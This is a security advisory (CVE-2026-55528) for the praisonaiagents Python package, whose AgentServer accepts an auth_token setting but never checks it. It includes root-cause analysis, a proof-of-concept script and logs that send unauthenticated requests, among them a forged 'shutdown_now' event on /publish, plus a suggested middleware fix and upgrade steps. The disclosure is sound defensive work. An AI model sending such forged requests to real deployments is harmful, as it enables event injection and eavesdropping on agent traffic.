Skip to content

GHSA-7g3p-92qq-8wvh CVE-2026-55528 PYSEC-2026-3899

praisonaiagents: AgentServer declares auth_token but never enforces it on any route

High PyPI
Severity
8.2 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.49%
Chance of exploitation in the next 30 days. Higher than 41.87% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-306 Missing Authentication for Critical Function
CWE-862 Missing Authorization
Fix
1.6.58
Upgrade praisonaiagents to this version or later

Description

Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI


Package: praisonaiagents on PyPI Affected version (empirically tested): 1.6.48 Component: praisonaiagents.server.AgentServer (the bundled HTTP / SSE server)


TL;DR

AgentServer.ServerConfig advertises an auth_token: Optional[str] = None field that operators set when they want to lock down the server. The GET /info endpoint even displays it back as "auth_token": "***" — strongly implying the value is wired into request authentication.

It isn't. AgentServer._create_app never reads auth_token, never adds an authentication middleware, and never decorates any route with a dependency that checks it. Every route — /info, /publish, /events, /health — accepts unauthenticated requests regardless of whether auth_token is configured.

The same package contains a sibling server, praisonaiagents.ui.a2a.A2A, written by the same developer, which implements the bearer-token pattern correctly via FastAPI's Depends(_verify_auth). This rules out the "auth is not yet implemented; operators are expected to add it" reading: the developer knew the pattern but did not apply it to AgentServer.

Root cause

   Expected behavior when setting ServerConfig(auth_token="…"):
     "Only requests with a matching Authorization header will be
      accepted on /publish, /events, /info."

   Actual behavior (server/server.py, dist 1.6.48):
     - line 31    auth_token: Optional[str] = None   # declared
     - line 39    "auth_token": "***" if self.auth_token else None  # displayed
     - lines 122-204:  no auth middleware, no Depends, no
                       request.headers["Authorization"] read,
                       no comparison to self.config.auth_token.

   Impact:
     The configuration knob is dead code from the route handlers'
     perspective.  All routes always run.  The operator has no signal
     that their auth_token was discarded — /info even confirms it
     was received by displaying "***".

Sibling proof — the same package gets it right elsewhere

praisonaiagents/ui/a2a/a2a.py:

# line 163
async def _verify_auth(authorization: Optional[str] = Header(None)):
    """Verify bearer token if auth_token is configured."""
    if self.auth_token is None:
        return
    ...
    if len(parts) != 2 or parts[0].lower() != "bearer" \
            or parts[1] != self.auth_token:
        raise HTTPException(status_code=401, ...)

# line 192
from fastapi import Depends
_a2a_deps = [Depends(_verify_auth)] if self.auth_token else []

That is the missing implementation. Porting it to AgentServer — either via Starlette BaseHTTPMiddleware or by switching to FastAPI and adding Depends(_verify_auth) to each route — closes the gap.

Affected routes (empirically tested)

Route Method Accepts unauth requests? Impact
/info GET Yes (200) Leaks server config; confirms auth_token is set ("***"); reveals client count and CORS config.
/publish POST Yes (200) Anyone broadcasts arbitrary {type, data} to every subscribed agent. Event payload is whatever the attacker sends.
/events GET Yes (200) Anyone subscribes to the SSE stream and observes every event published by the server (and by any other anonymous attacker).
/health GET Yes (200) Leaks live SSE client count.

Impact

The /publish and /events routes are the load-bearing ones. Together they let an unauthenticated network-adjacent attacker:

  1. Inject control events into every agent process subscribed to the server. AgentServer.broadcast(event_type, data) puts the payload into every SSEClient.queue; any consumer dispatching on event_type will dispatch on the attacker-chosen type. Real deployments register handlers per event type via AgentServer.on_event(...); an attacker who can guess (or enumerate via /info + inspection) a registered type can drive arbitrary handler invocations with attacker-chosen data.
  2. Eavesdrop on the entire event bus by subscribing to /events. Whatever the legitimate publishers send is visible: agent observations, intermediate plans, tool inputs and outputs, user-supplied prompts that the operator believed were behind the auth_token wall.
  3. Pivot via leaked config. /info is sufficient to enumerate cors_origins (helping plan cross-origin attacks if any of the listed origins are attacker-controlled) and to confirm that the target has bothered to set auth_token, signalling a high-value target.

SSEClient.queue is a queue.Queue with no documented size cap; the event broadcaster does not check max_connections against publishers, only subscribers. An attacker can also flood /publish to fill every subscriber's queue, denying service to legitimate broadcasts (CWE-770). Not scored as the main impact above.

Anchors

praisonaiagents 1.6.48, file praisonaiagents/server/server.py:

Line Symbol What it shows
31 auth_token: Optional[str] = None Declared.
39 "auth_token": "***" if self.auth_token else None Displayed (masked) in /info.
121 def _create_app(self): Route + middleware setup begins.
132 async def health(request): No auth check.
139 async def events(request): No auth check.
164 async def publish(request): No auth check.
182 async def info(request): No auth check.
190 routes = [Route("/health", …), Route("/events", …), Route("/publish", …), Route("/info", …)] Routes registered without Depends/middleware.
197 app = Starlette(routes=routes) App created.
200 app = CORSMiddleware(app, …) Only middleware added.

Source sha256 (1.6.48, praisonaiagents/server/server.py): aac9497d515b5cb928070267b860b11ef38b537605e64659feef895b524ca7e4 (9,962 bytes).

Sibling (same package, same field name, enforced): praisonaiagents/ui/a2a/a2a.py:163-193.

Reproduction (empirical PoC)

poc/poc.py starts AgentServer with ServerConfig(auth_token="supersecret-not-actually-checked") and then sends unauthenticated requests to each route.

Run log (poc/run-log.txt):

[1] GET /info     (no Authorization) -> HTTP 200
    body: {"name":"PraisonAI Agent Server","version":"1.0.0","clients":0,
           "config":{"host":"127.0.0.1","port":18765,"cors_origins":[],
                     "auth_token":"***","max_connections":100}}
[2] POST /publish (no Authorization) -> HTTP 200
    body: {"success":true,"clients":0}
[3] GET /health   (no Authorization) -> HTTP 200
[4] GET /events   (no Authorization) -> HTTP 200

VULNERABLE: 4 unauthenticated routes
VERDICT: VULNERABLE
EXIT 0

Suggested fix

Make AgentServer reuse the A2A pattern. Smallest fix:

# in _create_app, after `app = Starlette(routes=routes)`:
if self.config.auth_token:
    from starlette.middleware.base import BaseHTTPMiddleware
    from starlette.responses import JSONResponse

    expected = "Bearer " + self.config.auth_token

    class _Auth(BaseHTTPMiddleware):
        async def dispatch(self, request, call_next):
            if request.url.path == "/health":     # if /health should remain public
                return await call_next(request)
            got = request.headers.get("authorization", "")
            if not hmac.compare_digest(got, expected):
                return JSONResponse({"error": "unauthorized"}, status_code=401)
            return await call_next(request)

    app = _Auth(app)

app = CORSMiddleware(app, ...)

Constant-time comparison (hmac.compare_digest) is appropriate since this is a network-comparable secret.

Steps to reproduce

  1. Clone the target: git clone --depth 1 https://github.com/MervinPraison/PraisonAI
  2. Run the proof of concept (poc.py) against the cloned source.
  3. Observe the result shown under Verified result below.

Proof of concept

poc.py

"""
PoC: praisonaiagents AgentServer ignores ServerConfig.auth_token.

The ServerConfig dataclass declares `auth_token: Optional[str] = None` and
the /info endpoint reports it as "***" when set, giving operators the
impression that requests will be authenticated.  In reality,
AgentServer._create_app never reads auth_token, never adds an auth
middleware, and never decorates any route with Depends(_verify_auth).

This PoC starts AgentServer with auth_token="supersecret", then hits
every route without any Authorization header.  All requests succeed.
"""

import json
import sys
import time
import threading
from urllib.request import Request, urlopen
from urllib.error import HTTPError, URLError

from praisonaiagents.server import AgentServer, ServerConfig

PORT = 18765
AUTH_TOKEN = "supersecret-not-actually-checked"

def http_request(method, path, body=None, headers=None):
    url = f"http://127.0.0.1:{PORT}{path}"
    data = None
    if body is not None:
        data = json.dumps(body).encode("utf-8")
    req = Request(url, data=data, method=method, headers=headers or {})
    if data is not None:
        req.add_header("Content-Type", "application/json")
    try:
        with urlopen(req, timeout=5) as resp:
            return resp.status, resp.read().decode("utf-8", errors="replace")
    except HTTPError as e:
        return e.code, e.read().decode("utf-8", errors="replace")
    except URLError as e:
        return None, f"URLError: {e}"

def main() -> int:
    print("=" * 70)
    print(f"praisonaiagents version: 1.6.48")
    print(f"Test: start AgentServer with auth_token={AUTH_TOKEN!r}")
    print(f"      then send UNAUTHENTICATED requests to every route.")
    print("=" * 70)

    config = ServerConfig(host="127.0.0.1", port=PORT, auth_token=AUTH_TOKEN, cors_origins=[])
    server = AgentServer(config=config)
    server.start(blocking=False)
    time.sleep(1.0)  # wait for uvicorn to be ready

    findings = []

    code, body = http_request("GET", "/info")
    info_data = None
    try:
        info_data = json.loads(body)
    except Exception:
        pass
    print(f"\n[1] GET /info (no Authorization header) -> HTTP {code}")
    print(f"    body: {body[:200]}")
    if code == 200 and info_data and info_data.get("config", {}).get("auth_token") == "***":
        findings.append("/info: unauthenticated; leaks that auth_token IS configured")

    payload = {"type": "attacker_injected_event",
               "data": {"forged_from": "unauthenticated_client", "instruction": "shutdown_now"}}
    code, body = http_request("POST", "/publish", body=payload)
    print(f"\n[2] POST /publish (no Authorization header) -> HTTP {code}")
    print(f"    body: {body[:200]}")
    if code == 200:
        try:
            ok = json.loads(body).get("success") is True
        except Exception:
            ok = False
        if ok:
            findings.append("/publish: unauthenticated event broadcast to all SSE clients")

    code, body = http_request("GET", "/health")
    print(f"\n[3] GET /health (no Authorization header) -> HTTP {code} body={body[:120]}")
    if code == 200:
        findings.append("/health: unauthenticated; leaks live client count")

    sse_status = []
    def sse_reader():
        try:
            req = Request(f"http://127.0.0.1:{PORT}/events", method="GET")
            with urlopen(req, timeout=3) as resp:
                sse_status.append(f"HTTP {resp.status}")
                try:
                    chunk = resp.read(64)
                    sse_status.append(f"first-chunk-bytes={len(chunk)}")
                except Exception as e:
                    sse_status.append(f"chunk-read: {e}")
        except Exception as exc:
            sse_status.append(f"ERR: {exc}")
    t = threading.Thread(target=sse_reader, daemon=True)
    t.start()
    time.sleep(2.0)
    print(f"\n[4] GET /events (no Authorization header) -> {sse_status}")
    if sse_status and sse_status[0] == "HTTP 200":
        findings.append("/events: unauthenticated SSE subscription accepted")

    print("\n" + "=" * 70)
    if findings:
        print(f"VULNERABLE: {len(findings)} unauthenticated routes")
        for f in findings:
            print(f"  - {f}")
        print("VERDICT: VULNERABLE")
        return 0
    print("DEFENDED")
    return 1

if __name__ == "__main__":
    sys.exit(main())

Verification harness (executed against the cloned repo)

This drives the unmodified upstream code rather than a reproduction.

import sys, types, os, importlib.util
BK=os.path.abspath("repos/PraisonAI/src/praisonai-agents"); sys.path.insert(0,BK)
for p in ["praisonaiagents","praisonaiagents.server"]:
    m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m
lg=types.ModuleType("praisonaiagents._logging"); lg.get_logger=lambda *a,**k: __import__("logging").getLogger("x"); sys.modules["praisonaiagents._logging"]=lg
spec=importlib.util.spec_from_file_location("praisonaiagents.server.server", BK+"/praisonaiagents/server/server.py")
srvmod=importlib.util.module_from_spec(spec); srvmod.__package__="praisonaiagents.server"; sys.modules[spec.name]=srvmod; spec.loader.exec_module(srvmod)

from starlette.testclient import TestClient
# Operator DOES configure an auth_token, expecting it to protect the server:
cfg = srvmod.ServerConfig(host="127.0.0.1", port=8765, auth_token="super-secret-operator-token")
srv = srvmod.AgentServer(config=cfg)            # REAL AgentServer
app = srv._create_app()                        # REAL Starlette app + routes
client = TestClient(app)

print("[*] auth_token configured on server:", repr(cfg.auth_token))
r_info = client.get("/info")
print(f"[+] GET /info  (no auth) -> HTTP {r_info.status_code}; config disclosed: {r_info.json().get('config')}")
r_pub = client.post("/publish", json={"type":"admin_event","data":{"x":"injected-by-attacker"}})
print(f"[+] POST /publish (no auth) -> HTTP {r_pub.status_code}; body: {r_pub.json()}")

assert r_info.status_code==200 and r_pub.status_code==200 and r_pub.json().get("success") is True
print("[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced — /info + /publish reachable unauthenticated")

Verified result

This PoC was executed against the live upstream code; captured output:

[*] auth_token configured on server: 'super-secret-operator-token'
[+] GET /info  (no auth) -> HTTP 200; config disclosed: {'host': '127.0.0.1', 'port': 8765, 'cors_origins': [], 'auth_token': '***', 'max_connections': 100}
[+] POST /publish (no auth) -> HTTP 200; body: {'success': True, 'clients': 0}
[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced — /info + /publish reachable unauthenticated

Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

Affected versions

PyPI

PackageVulnerableFixed in
praisonaiagents
< 1.6.58
1.6.58

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonaiagents PyPI → 1.6.58

pip
pip install --upgrade "praisonaiagents>=1.6.58"
poetry
poetry add "praisonaiagents>=1.6.58"
uv
uv add "praisonaiagents>=1.6.58"

Severity breakdown

CVSS 3.1 8.2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
None

Weakness

CWE-306: Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

How to prevent it
  • Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
  • Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-gxmw-5f7x-6g22
praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location
High Also affects praisonaiagents
GHSA-cfxv-8fw8-rwpv
praisonaiagents: ast_grep_rewrite rewrites arbitrary files without the @require_approval gate enforced on every sibling mutation tool
Medium Also affects praisonaiagents
GHSA-x44h-65qv-cw74
praisonaiagents has an SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`)
High Also affects praisonaiagents
GHSA-5r34-2g38-6569
praisonaiagents web_crawl vulnerable to SSRF via redirect-following
High Also affects praisonaiagents
GHSA-vg6p-v9vm-6fgj
praisonaiagents vulnerable to SSRF in web_crawl tool via redirect-following and DNS rebinding (validate-then-fetch gap)
High Also affects praisonaiagents
GHSA-8hjw-25cg-g52h
praisonaiagents has a `web_crawl` SSRF protection bypass via unchecked redirect targets
High Also affects praisonaiagents
GHSA-hxmv-c4g6-5fqc
PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code
High Also affects praisonaiagents
GHSA-m6wp-h223-4c8g
PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification
High Also affects praisonaiagents
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor